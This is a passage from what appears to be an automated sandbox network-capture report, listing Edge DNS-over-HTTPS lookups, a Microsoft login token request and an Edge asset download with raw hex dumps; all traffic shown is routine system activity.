2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49765	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522d9e81851-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c1 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49762	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522d975728a-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 00 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49783	162.159.61.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8805266e817d24-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49784	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8805270fc44398-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 85 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49785	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880529889d41c0-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49787	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 07:03:43 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 07:03:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 07:02:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 7553d078-7025-4b7b-a726-87df0ac4d1f2 PPServer: PPV: 30 H: SN1PEPF0002F129 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 07:03:43 GMT Connection: close Content-Length: 11389
2024-11-26 07:03:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49790	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:44 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:45 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:45 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f9d55574-701e-0068-5ebf-3f3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070345Z-174f7845968cdxdrhC1EWRg0en0000000uxg00000000fv33 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:45 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
